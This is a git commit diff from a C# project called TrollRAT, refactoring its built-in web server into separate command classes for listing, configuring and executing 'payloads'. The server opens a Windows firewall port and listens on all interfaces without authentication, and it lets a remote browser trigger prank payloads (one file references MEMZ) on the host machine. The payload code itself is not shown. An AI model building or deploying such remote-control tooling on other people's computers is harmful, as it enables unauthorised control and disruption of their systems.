Completely new server system

This commit is contained in:
Leurak 2016-07-16 10:45:00 +02:00
parent ebc79d8b5f
commit b94bc25ab3
12 changed files with 385 additions and 228 deletions

View file

@ -15,7 +15,7 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
- Coding
- [ ] Clean up and optimize whole code
- [ ] More error handlers
- [ ] Split server commands into multiple classes
- [x] Split server commands into multiple classes
- [x] Firewall support
- [ ] Include native DLL in binary
- [ ] Add startup messages (Disclaimer, quick tutorial etc.)

28
TrollRAT/IDBase.cs Normal file
View file

@ -0,0 +1,28 @@
using System;
namespace TrollRAT
{
public abstract class IDBase
{
public abstract int ID { get; }
}
public class GenericInt<t>
{
public int value;
}
public abstract class IDBase<t> : IDBase
{
// Generics are used to redefine the ID for every subclass
private static GenericInt<t> idCounter = new GenericInt<t>();
protected int id;
public override int ID => id;
public IDBase()
{
id = idCounter.value++;
}
}
}

View file

@ -3,18 +3,8 @@ using System.Runtime.InteropServices;
namespace TrollRAT
{
public abstract class PayloadAction
public abstract class PayloadAction : IDBase<PayloadAction>
{
private static int idCounter = 0;
protected int id;
public int ID => id;
public PayloadAction()
{
id = idCounter++;
}
public abstract string getListButton(Payload payload);
public abstract string getSettingsButton(Payload payload);

View file

@ -3,18 +3,8 @@ using System.Text;
namespace TrollRAT
{
public abstract class PayloadSetting
public abstract class PayloadSetting : IDBase<PayloadSetting>
{
private static int idCounter = 0;
protected int id;
public int ID => id;
public PayloadSetting()
{
id = idCounter++;
}
public abstract void writeHTML(StringBuilder builder);
public abstract void readData(string str);
}

View file

@ -1,5 +1,7 @@
using System;
using TrollRAT.Server;
namespace TrollRAT
{
static class Program

View file

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Web;
namespace TrollRAT.Server
{
public abstract class ActionCommandBase<t> : WebServerCommand where t : IDBase
{
public ActionCommandBase(List<Payload> payloads) : base(payloads) { }
public abstract List<t> getActions(Payload payload);
public abstract void doAction(HttpListenerContext context, Payload payload, t action);
public override void execute(HttpListenerContext context)
{
try
{
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
foreach (Payload payload in payloads)
{
foreach (t action in getActions(payload))
{
if (action.ID == id)
{
doAction(context, payload, action);
return;
}
}
}
}
catch (Exception ex) when (ex is FormatException || ex is OverflowException || ex is ArgumentNullException)
{
context.Response.StatusCode = 400;
}
}
}
public class ExecuteCommand : ActionCommandBase<PayloadAction>
{
public ExecuteCommand(List<Payload> payloads) : base(payloads) { }
public override Regex Path => new Regex("^/execute$");
public override List<PayloadAction> getActions(Payload payload)
{
return payload.Actions;
}
public override void doAction(HttpListenerContext context, Payload payload, PayloadAction action)
{
string response = action.execute(payload);
respondString(response, context.Response, "text/javascript");
}
}
public class SetCommand : ActionCommandBase<PayloadSetting>
{
public SetCommand(List<Payload> payloads) : base(payloads) { }
public override Regex Path => new Regex("^/set$");
public override List<PayloadSetting> getActions(Payload payload)
{
return payload.Settings;
}
public override void doAction(HttpListenerContext context, Payload payload, PayloadSetting action)
{
string value = HttpUtility.ParseQueryString(context.Request.Url.Query).Get("value");
if (value == null)
context.Response.StatusCode = 400;
else
{
action.readData(value);
}
}
}
}

View file

@ -0,0 +1,83 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Web;
namespace TrollRAT.Server
{
public abstract class DetailCommandBase : WebServerCommand
{
public DetailCommandBase(List<Payload> payloads) : base(payloads) { }
public abstract void writeHTML(Payload payload, StringBuilder builder);
public override void execute(HttpListenerContext context)
{
StringBuilder content = new StringBuilder();
try
{
int pl = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("payload"));
if (pl >= 0 && pl < payloads.Count)
{
Payload payload = payloads[pl];
writeHTML(payload, content);
}
else
{
content.Append("<p>Please select something.</p>");
}
string response = content.ToString();
if (response.Length < 1)
{
response = "<p>Nothing defined.</p>";
}
respondString(response, context.Response, "text/html");
}
catch (Exception ex) when (ex is FormatException || ex is OverflowException || ex is ArgumentNullException)
{
context.Response.StatusCode = 400;
}
}
}
public class SettingsCommand : DetailCommandBase
{
public SettingsCommand(List<Payload> payloads) : base(payloads) { }
public override Regex Path => new Regex("^/settings$");
public override void writeHTML(Payload payload, StringBuilder builder)
{
foreach (PayloadSetting setting in payload.Settings)
{
setting.writeHTML(builder);
}
}
}
public class ActionsCommand : DetailCommandBase
{
public ActionsCommand(List<Payload> payloads) : base(payloads) { }
public override Regex Path => new Regex("^/actions$");
public override void writeHTML(Payload payload, StringBuilder builder)
{
foreach (PayloadAction action in payload.Actions)
{
string btn = action.getSettingsButton(payload);
if (btn != null)
{
builder.Append(btn);
}
}
}
}
}

View file

@ -0,0 +1,110 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Reflection;
using System.Web;
using System.Text.RegularExpressions;
namespace TrollRAT.Server
{
public abstract class WebServerCommandBase
{
public abstract Regex Path { get; }
public abstract void execute(HttpListenerContext context);
public void respondString(string str, HttpListenerResponse response, string contentType)
{
respondBytes(Encoding.UTF8.GetBytes(str), response, contentType);
}
public void respondBytes(byte[] data, HttpListenerResponse response, string contentType)
{
response.ContentLength64 = data.Length;
response.StatusCode = 200;
response.ContentType = contentType;
response.OutputStream.Write(data, 0, data.Length);
}
}
public abstract class WebServerCommand : WebServerCommandBase
{
protected List<Payload> payloads;
public WebServerCommand(List<Payload> payloads)
{
this.payloads = payloads;
}
}
public abstract class WebServerBase
{
protected int port;
public int Port => port;
protected List<WebServerCommandBase> commands = new List<WebServerCommandBase>();
public List<WebServerCommandBase> Commands => commands;
public WebServerBase(int port)
{
this.port = port;
}
public void run()
{
HttpListener listener = new HttpListener();
listener.Prefixes.Add(String.Format("http://*:{0}/", port));
listener.Start();
while (listener.IsListening)
{
var context = listener.GetContext();
if (context.Request.HttpMethod == "GET")
{
var path = context.Request.Url.AbsolutePath;
bool processed = false;
foreach (WebServerCommandBase cmd in commands)
{
if (cmd.Path.IsMatch(path))
{
cmd.execute(context);
processed = true;
break;
}
}
if (!processed)
{
context.Response.StatusCode = 404;
}
context.Response.Close();
}
}
}
}
public class WebServer : WebServerBase
{
private List<Payload> payloads = new List<Payload>();
public List<Payload> Payloads => payloads;
public WebServer(int port) : base(port)
{
Firewall.openPort("TrollRAT", port, NetFwTypeLib.NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP);
commands.Add(new RootCommand());
commands.Add(new PayloadsCommand(payloads));
commands.Add(new SettingsCommand(payloads));
commands.Add(new ActionsCommand(payloads));
commands.Add(new ExecuteCommand(payloads));
commands.Add(new SetCommand(payloads));
}
}
}

View file

@ -0,0 +1,69 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using System.Web;
namespace TrollRAT.Server
{
public class RootCommand : WebServerCommandBase
{
public override Regex Path => new Regex("^/?(index(\\.html|\\.php)?)?$");
private byte[] site;
public RootCommand()
{
var assembly = Assembly.GetExecutingAssembly();
using (var stream = assembly.GetManifestResourceStream("TrollRAT.client.html"))
{
site = new byte[stream.Length];
stream.Read(site, 0, (int)stream.Length);
}
}
public override void execute(HttpListenerContext context)
{
respondBytes(site, context.Response, "text/html");
}
}
public class PayloadsCommand : WebServerCommand
{
public PayloadsCommand(List<Payload> payloads) : base(payloads) { }
public override Regex Path => new Regex("^/payloads$");
public override void execute(HttpListenerContext context)
{
StringBuilder content = new StringBuilder();
foreach (Payload payload in payloads)
{
content.Append("<a href=\"#\" onclick=\"onPayloadSelected(this);\" class=\"list-group-item clearfix\">");
content.Append(payload.Name);
content.Append("<span class=\"pull-right\">");
foreach (PayloadAction action in payload.Actions)
{
string btn = action.getListButton(payload);
if (btn != null)
{
content.Append(btn);
}
}
content.Append("</span></a>");
}
string response = content.ToString();
if (response.Length < 1)
{
response = "<p>Nothing defined.</p>";
}
respondString(response, context.Response, "text/html");
}
}
}

View file

@ -66,6 +66,7 @@
</ItemGroup>
<ItemGroup>
<Compile Include="Firewall.cs" />
<Compile Include="IDBase.cs" />
<Compile Include="NewPayloads.cs" />
<Compile Include="Payload.cs" />
<Compile Include="PayloadAction.cs" />
@ -73,8 +74,11 @@
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="MEMZPayloads.cs" />
<Compile Include="Server\ActionCommands.cs" />
<Compile Include="Server\DetailCommands.cs" />
<Compile Include="Server\WebServerCommands.cs" />
<Compile Include="SimplePayloads.cs" />
<Compile Include="WebServer.cs" />
<Compile Include="Server\WebServer.cs" />
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>

View file

@ -1,203 +0,0 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Reflection;
using System.Web;
namespace TrollRAT
{
class WebServer
{
private byte[] site;
private int port;
public int Port => port;
private List<Payload> payloads = new List<Payload>();
public List<Payload> Payloads => payloads;
public WebServer(int port)
{
this.port = port;
Firewall.openPort("TrollRAT", port, NetFwTypeLib.NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP);
var assembly = Assembly.GetExecutingAssembly();
using (var stream = assembly.GetManifestResourceStream("TrollRAT.client.html"))
{
site = new byte[stream.Length];
stream.Read(site, 0, (int)stream.Length);
}
}
public void run()
{
HttpListener listener = new HttpListener();
listener.Prefixes.Add(String.Format("http://*:{0}/", port));
listener.Start();
while (listener.IsListening)
{
var context = listener.GetContext();
if (context.Request.HttpMethod == "GET")
{
if (context.Request.Url.PathAndQuery == "/payloads")
{
StringBuilder content = new StringBuilder();
foreach (Payload payload in payloads)
{
content.Append("<a href=\"#\" onclick=\"onPayloadSelected(this);\" class=\"list-group-item clearfix\">");
content.Append(payload.Name);
content.Append("<span class=\"pull-right\">");
foreach (PayloadAction action in payload.Actions)
{
string btn = action.getListButton(payload);
if (btn != null)
{
content.Append(btn);
}
}
content.Append("</span></a>");
}
byte[] data = Encoding.UTF8.GetBytes(content.ToString());
if (content.Length < 1)
{
data = Encoding.UTF8.GetBytes("<p>No settings defined.</p>");
}
context.Response.ContentLength64 = data.Length;
context.Response.StatusCode = 200;
context.Response.ContentType = "text/html";
context.Response.OutputStream.Write(data, 0, data.Length);
}
else if (context.Request.Url.AbsolutePath == "/actions")
{
int pl = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("payload"));
StringBuilder content = new StringBuilder();
if (pl >= 0 && pl < Payloads.Count)
{
Payload payload = payloads[pl];
foreach (PayloadAction action in payload.Actions)
{
string btn = action.getSettingsButton(payload);
if (btn != null)
{
content.Append(btn);
}
}
}
else
{
content.Append("<p>Please select something.</p>");
}
byte[] data = Encoding.UTF8.GetBytes(content.ToString());
if (content.Length < 1)
{
data = Encoding.UTF8.GetBytes("<p>No actions defined.</p>");
}
context.Response.ContentLength64 = data.Length;
context.Response.StatusCode = 200;
context.Response.ContentType = "text/html";
context.Response.OutputStream.Write(data, 0, data.Length);
}
else if (context.Request.Url.AbsolutePath == "/set")
{
string value = HttpUtility.ParseQueryString(context.Request.Url.Query).Get("value");
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
foreach (Payload payload in payloads)
{
foreach (PayloadSetting setting in payload.Settings)
{
if (setting.ID == id)
{
setting.readData(value);
}
}
}
}
else if (context.Request.Url.AbsolutePath == "/execute")
{
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
foreach (Payload payload in payloads)
{
foreach (PayloadAction action in payload.Actions)
{
if (action.ID == id)
{
string response = action.execute(payload);
byte[] data = Encoding.UTF8.GetBytes(response.ToString());
context.Response.ContentLength64 = data.Length;
context.Response.StatusCode = 200;
context.Response.ContentType = "text/javascript";
context.Response.OutputStream.Write(data, 0, data.Length);
}
}
}
}
else if (context.Request.Url.AbsolutePath == "/settings")
{
// TODO Error handling
int pl = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("index"));
StringBuilder content = new StringBuilder();
if (pl >= 0 && pl < Payloads.Count)
{
Payload payload = payloads[pl];
foreach (PayloadSetting setting in payload.Settings)
{
setting.writeHTML(content);
}
}
else
{
content.Append("<p>Please select something.</p>");
}
byte[] data = Encoding.UTF8.GetBytes(content.ToString());
if (content.Length < 1)
{
data = Encoding.UTF8.GetBytes("<p>No settings defined.</p>");
}
context.Response.ContentLength64 = data.Length;
context.Response.StatusCode = 200;
context.Response.ContentType = "text/html";
context.Response.OutputStream.Write(data, 0, data.Length);
}
else
{
context.Response.ContentLength64 = site.Length;
context.Response.StatusCode = 200;
context.Response.ContentType = "text/html";
context.Response.OutputStream.Write(site, 0, site.Length);
}
context.Response.Close();
} else if (context.Request.HttpMethod == "POST")
{
}
}
}
}
}

View file

@ -119,7 +119,7 @@
$.ajax({
method: "GET",
url: "/settings",
data: { index: active }
data: { "payload": active }
}).done(function (settings) {
$("#settings").html(settings);
}).error(function () {